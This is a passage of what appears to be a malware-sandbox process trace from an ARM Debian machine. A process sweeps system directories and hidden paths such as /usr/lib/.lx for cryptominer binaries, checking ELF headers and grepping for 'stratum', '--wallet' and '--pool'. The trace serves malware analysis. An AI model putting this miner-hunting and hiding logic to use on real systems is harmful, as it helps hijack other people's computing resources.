  - System Network Configuration Discovery
  PID:1484
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/misc/face.dat
  2⤵
  - System Network Configuration Discovery
  PID:1485
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1486
- /usr/bin/stat
  stat "-c%s" /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1488
- /usr/bin/basename
  basename /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1490
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1492
- /usr/bin/head
  head -c 4 /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1491
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1494
- /usr/bin/strings
  strings /usr/lib/python3/dist-packages/scipy/linalg/_flapack.cpython-35m-arm-linux-gnueabihf.so
  2⤵
  PID:1493
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1495
- /usr/bin/stat
  stat "-c%s" /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1497
- /usr/bin/basename
  basename /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1499
- /usr/bin/head
  head -c 4 /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1500
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1501
- /usr/bin/head
  head -c 120000
  2⤵
  PID:1503
- /usr/bin/strings
  strings /usr/lib/lapack/liblapack.so.3.7.0
  2⤵
  PID:1502
- /bin/grep
  grep -qiE "stratum|pearl-gpu|peakminer|krig-miner|--wallet|--pool"
  2⤵
  PID:1504
- /usr/bin/head
  head -1
  2⤵
  PID:1508
- /usr/bin/find
  find /usr/share -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1507
- /usr/bin/head
  head -1
  2⤵
  PID:1511
- /usr/bin/find
  find /usr/share -type f -name glint -size +500k
  2⤵
  PID:1510
- /usr/bin/head
  head -1
  2⤵
  PID:1514
- /usr/bin/find
  find /usr/share -type f -name miner2 -size +500k
  2⤵
  PID:1513
- /usr/bin/find
  find /usr/share -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1516
- /usr/bin/head
  head -1
  2⤵
  PID:1517
- /usr/bin/head
  head -1
  2⤵
  PID:1520
- /usr/bin/find
  find /usr/share -type f -name pearl -size +500k
  2⤵
  - Reads runtime system information
  PID:1519
- /usr/bin/head
  head -1
  2⤵
  PID:1525
- /usr/bin/find
  find /usr/share -type f -name nvidia-persistenced -size +500k
  2⤵
  - Reads runtime system information
  PID:1524
- /usr/bin/find
  find /usr/share -type f -size +500k
  2⤵
  PID:1527
- /usr/bin/head
  head -100
  2⤵
  PID:1528
- /usr/bin/stat
  stat "-c%s" /usr/share/dict/american-english
  2⤵
  PID:1530
- /usr/bin/basename
  basename /usr/share/dict/american-english
  2⤵
  PID:1532
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1534
- /usr/bin/head
  head -c 4 /usr/share/dict/american-english
  2⤵
  PID:1533
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1536
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1538
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans.ttf
  2⤵
  PID:1539
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1540
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1542
- /usr/bin/basename
  basename /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1544
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/dejavu/DejaVuSans-Bold.ttf
  2⤵
  PID:1545
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1546
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1548
- /usr/bin/basename
  basename /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1550
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1552
- /usr/bin/head
  head -c 4 /usr/share/fonts/truetype/droid/DroidSansFallbackFull.ttf
  2⤵
  PID:1551
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1554
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1556
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1558
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Unicode/Collate/allkeys.txt
  2⤵
  PID:1557
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1560
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1562
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Module/CoreList.pm
  2⤵
  PID:1563
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1564
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1566
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1568
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/Locale/Codes/Language_Codes.pm
  2⤵
  PID:1569
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1570
- /usr/bin/stat
  stat "-c%s" /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1572
- /usr/bin/basename
  basename /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1574
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1576
- /usr/bin/head
  head -c 4 /usr/share/perl/5.24.1/unicore/Name.pl
  2⤵
  PID:1575
- /usr/bin/stat
  stat "-c%s" /usr/share/libthai/thbrk.tri
  2⤵
  PID:1578
- /usr/bin/basename
  basename /usr/share/libthai/thbrk.tri
  2⤵
  PID:1580
- /usr/bin/head
  head -c 4 /usr/share/libthai/thbrk.tri
  2⤵
  PID:1581
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1582
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1584
- /usr/bin/basename
  basename /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1586
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-kbuild-4.9/changelog.Debian.gz
  2⤵
  PID:1587
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1588
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1590
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1592
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-0/changelog.gz
  2⤵
  PID:1593
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1594
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  - Reads runtime system information
  PID:1596
- /usr/bin/basename
  basename /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1598
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1600
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-libc-dev/changelog.Debian.gz
  2⤵
  PID:1599
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-headers-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1602
- /usr/bin/basename
  basename /usr/share/doc/linux-headers-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1604
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1606
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-headers-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1605
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1608
- /usr/bin/basename
  basename /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1610
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1612
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg-dev/changelog.gz
  2⤵
  PID:1611
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1614
- /usr/bin/basename
  basename /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1616
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1618
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-headers-4.9.0-13-common/changelog.Debian.gz
  2⤵
  PID:1617
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1620
- /usr/bin/basename
  basename /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1622
- /usr/bin/head
  head -c 4 /usr/share/doc/libglib2.0-data/changelog.gz
  2⤵
  PID:1623
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1624
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-image-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1626
- /usr/bin/basename
  basename /usr/share/doc/linux-image-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1628
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1630
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-image-4.9.0-13-armmp-lpae/changelog.Debian.gz
  2⤵
  PID:1629
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V16.md
  2⤵
  PID:1632
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V16.md
  2⤵
  PID:1634
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1636
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V16.md
  2⤵
  PID:1635
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V14.md
  2⤵
  PID:1638
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V14.md
  2⤵
  PID:1640
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V14.md
  2⤵
  PID:1641
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1642
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V12.md
  2⤵
  - Reads runtime system information
  PID:1644
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V12.md
  2⤵
  PID:1646
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1648
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V12.md
  2⤵
  PID:1647
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V8.md
  2⤵
  PID:1650
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V8.md
  2⤵
  PID:1652
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V8.md
  2⤵
  PID:1653
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1654
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V6.md
  2⤵
  PID:1656
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V6.md
  2⤵
  PID:1658
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1660
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V6.md
  2⤵
  PID:1659
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/changelogs/CHANGELOG_V10.md
  2⤵
  PID:1662
- /usr/bin/basename
  basename /usr/share/doc/nodejs/changelogs/CHANGELOG_V10.md
  2⤵
  PID:1664
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/changelogs/CHANGELOG_V10.md
  2⤵
  PID:1665
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1666
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/all.json.gz
  2⤵
  - Reads runtime system information
  PID:1668
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/all.json.gz
  2⤵
  PID:1670
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/all.json.gz
  2⤵
  PID:1671
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1672
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/crypto.html
  2⤵
  PID:1674
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/crypto.html
  2⤵
  PID:1676
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/crypto.html
  2⤵
  PID:1677
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1678
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1680
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1682
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/all.html
  2⤵
  PID:1683
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1684
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/nodejs/api/fs.html
  2⤵
  PID:1686
- /usr/bin/basename
  basename /usr/share/doc/nodejs/api/fs.html
  2⤵
  PID:1688
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1690
- /usr/bin/head
  head -c 4 /usr/share/doc/nodejs/api/fs.html
  2⤵
  PID:1689
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/linux-compiler-gcc-6-arm/changelog.Debian.gz
  2⤵
  PID:1692
- /usr/bin/basename
  basename /usr/share/doc/linux-compiler-gcc-6-arm/changelog.Debian.gz
  2⤵
  PID:1694
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1696
- /usr/bin/head
  head -c 4 /usr/share/doc/linux-compiler-gcc-6-arm/changelog.Debian.gz
  2⤵
  PID:1695
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  - Reads runtime system information
  PID:1698
- /usr/bin/basename
  basename /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1700
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1702
- /usr/bin/head
  head -c 4 /usr/share/doc/libdpkg-perl/changelog.gz
  2⤵
  PID:1701
- /usr/bin/stat
  stat "-c%s" /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1704
- /usr/bin/basename
  basename /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1706
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1708
- /usr/bin/head
  head -c 4 /usr/share/doc/dpkg/changelog.gz
  2⤵
  PID:1707
- /usr/bin/stat
  stat "-c%s" /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1710
- /usr/bin/basename
  basename /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1712
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1714
- /usr/bin/head
  head -c 4 /usr/share/X11/locale/en_US.UTF-8/Compose
  2⤵
  PID:1713
- /usr/bin/stat
  stat "-c%s" /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  - Reads runtime system information
  PID:1716
- /usr/bin/basename
  basename /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1718
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1720
- /usr/bin/head
  head -c 4 /usr/share/fonts-droid-fallback/truetype/DroidSansFallback.ttf
  2⤵
  PID:1719
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/policy.xml
  2⤵
  - Reads runtime system information
  PID:1722
- /usr/bin/basename
  basename /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1724
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1726
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/policy.xml
  2⤵
  PID:1725
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  - Reads runtime system information
  PID:1728
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1730
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1732
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel/corenetwork.if
  2⤵
  PID:1731
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1734
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1736
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/contrib.xml
  2⤵
  PID:1737
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1738
- /usr/bin/stat
  stat "-c%s" /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1740
- /usr/bin/basename
  basename /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1742
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1744
- /usr/bin/head
  head -c 4 /usr/share/selinux/devel/include/kernel.xml
  2⤵
  PID:1743
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1746
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1748
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1750
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/gas.mo
  2⤵
  PID:1749
- /usr/bin/stat
  stat "-c%s" /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1752
- /usr/bin/basename
  basename /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1754
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1756
- /usr/bin/head
  head -c 4 /usr/share/locale/uk/LC_MESSAGES/util-linux.mo
  2⤵
  PID:1755
- /usr/bin/stat
  stat "-c%s" /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1758
- /usr/bin/basename
  basename /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1760
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1762
- /usr/bin/head
  head -c 4 /usr/share/mime/packages/freedesktop.org.xml
  2⤵
  PID:1761
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1764
- /usr/bin/basename
  basename /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1766
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1768
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/translit_hangul
  2⤵
  PID:1767
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1770
- /usr/bin/basename
  basename /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1772
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1774
- /usr/bin/head
  head -c 4 /usr/share/i18n/locales/iso14651_t1_pinyin
  2⤵
  PID:1773
- /usr/bin/stat
  stat "-c%s" /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1776
- /usr/bin/basename
  basename /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1778
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1780
- /usr/bin/head
  head -c 4 /usr/share/i18n/charmaps/GB18030.gz
  2⤵
  PID:1779
- /usr/bin/stat
  stat "-c%s" /usr/share/misc/pci.ids
  2⤵
  PID:1782
- /usr/bin/basename
  basename /usr/share/misc/pci.ids
  2⤵
  PID:1784
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1786
- /usr/bin/head
  head -c 4 /usr/share/misc/pci.ids
  2⤵
  PID:1785
- /usr/bin/head
  head -1
  2⤵
  PID:1790
- /usr/bin/find
  find /var/lib -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1789
- /usr/bin/find
  find /var/lib -type f -name glint -size +500k
  2⤵
  PID:1792
- /usr/bin/head
  head -1
  2⤵
  PID:1793
- /usr/bin/head
  head -1
  2⤵
  PID:1796
- /usr/bin/find
  find /var/lib -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:1795
- /usr/bin/head
  head -1
  2⤵
  PID:1799
- /usr/bin/find
  find /var/lib -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1798
- /usr/bin/find
  find /var/lib -type f -name pearl -size +500k
  2⤵
  - Reads runtime system information
  PID:1803
- /usr/bin/head
  head -1
  2⤵
  PID:1804
- /usr/bin/head
  head -1
  2⤵
  PID:1807
- /usr/bin/find
  find /var/lib -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1806
- /usr/bin/head
  head -100
  2⤵
  PID:1810
- /usr/bin/find
  find /var/lib -type f -size +500k
  2⤵
  PID:1809
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/american.hash
  2⤵
  PID:1812
- /usr/bin/basename
  basename /var/lib/ispell/american.hash
  2⤵
  PID:1814
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1816
- /usr/bin/head
  head -c 4 /var/lib/ispell/american.hash
  2⤵
  PID:1815
- /usr/bin/stat
  stat "-c%s" /var/lib/ispell/british.hash
  2⤵
  - Reads runtime system information
  PID:1818
- /usr/bin/basename
  basename /var/lib/ispell/british.hash
  2⤵
  PID:1820
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1822
- /usr/bin/head
  head -c 4 /var/lib/ispell/british.hash
  2⤵
  PID:1821
- /usr/bin/stat
  stat "-c%s" /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1824
- /usr/bin/basename
  basename /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1826
- /usr/bin/head
  head -c 4 /var/lib/selinux/default/active/policy.kern
  2⤵
  PID:1827
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1828
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1830
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1832
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1834
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.templates
  2⤵
  PID:1833
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1836
- /usr/bin/basename
  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1838
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.list
  2⤵
  PID:1839
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1840
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  - Reads runtime system information
  PID:1842
- /usr/bin/basename
  basename /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:1844
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/linux-headers-4.9.0-13-common.md5sums
  2⤵
  PID:1845
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1846
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1848
- /usr/bin/basename
  basename /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1850
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1852
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/exim4-config.templates
  2⤵
  PID:1851
- /usr/bin/stat
  stat "-c%s" /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1854
- /usr/bin/basename
  basename /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1856
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1858
- /usr/bin/head
  head -c 4 /var/lib/dpkg/info/keyboard-configuration.config
  2⤵
  PID:1857
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_binary-armhf_Packages
  2⤵
  PID:1860
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_binary-armhf_Packages
  2⤵
  PID:1862
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1864
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_binary-armhf_Packages
  2⤵
  PID:1863
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1866
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1868
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1870
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_i18n_Translation-en
  2⤵
  PID:1869
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1872
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1874
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1876
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_source_Sources
  2⤵
  PID:1875
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-armhf_Packages
  2⤵
  PID:1878
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-armhf_Packages
  2⤵
  PID:1880
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_binary-armhf_Packages
  2⤵
  PID:1881
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1882
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  - Reads runtime system information
  PID:1884
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1886
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1888
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian_dists_stretch_main_source_Sources
  2⤵
  PID:1887
- /usr/bin/stat
  stat "-c%s" /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1890
- /usr/bin/basename
  basename /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1892
- /usr/bin/head
  head -c 4 /var/lib/apt/lists/archive.debian.org_debian-security_dists_stretch_updates_main_i18n_Translation-en
  2⤵
  PID:1893
- /bin/grep
  grep -q "ELF"
  2⤵
  PID:1894
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1897
- /usr/bin/head
  head -1
  2⤵
  PID:1898
- /usr/bin/head
  head -1
  2⤵
  PID:1901
- /usr/bin/find
  find /usr/lib/.lx -type f -name glint -size +500k
  2⤵
  PID:1900
- /usr/bin/find
  find /usr/lib/.lx -type f -name miner2 -size +500k
  2⤵
  - Reads runtime system information
  PID:1903
- /usr/bin/head
  head -1
  2⤵
  PID:1904
- /usr/bin/head
  head -1
  2⤵
  PID:1907
- /usr/bin/find
  find /usr/lib/.lx -type f -name krig-miner -size +500k
  2⤵
  - Reads runtime system information
  PID:1906
- /usr/bin/head
  head -1
  2⤵
  PID:1910
- /usr/bin/find
  find /usr/lib/.lx -type f -name pearl -size +500k
  2⤵
  PID:1909
- /usr/bin/head
  head -1
  2⤵
  PID:1913
- /usr/bin/find
  find /usr/lib/.lx -type f -name nvidia-persistenced -size +500k
  2⤵
  PID:1912
- /usr/bin/find
  find /usr/lib/.lx -type f -size +500k
  2⤵
  PID:1915
- /usr/bin/head
  head -100
  2⤵
  PID:1916
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl-gpu-miner -size +500k
  2⤵
  PID:1919
- /usr/bin/head
  head -1
  2⤵
  PID:1920
- /usr/bin/head
  head -1
  2⤵
  PID:1923
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name glint -size +500k
  2⤵
  PID:1922
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name miner2 -size +500k
  2⤵
  PID:1925
- /usr/bin/head
  head -1
  2⤵
  PID:1926
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name krig-miner -size +500k
  2⤵
  PID:1928
- /usr/bin/head
  head -1
  2⤵
  PID:1929
- /usr/bin/head
  head -1
  2⤵
  PID:1932
- /usr/bin/find
  find /root/.local/share/icc/.mgr -type f -name pearl -size +500k
  2⤵
  PID:1931
- /usr/bin/head
  head -1
  2⤵
  PID:1935
- /usr/bin/find
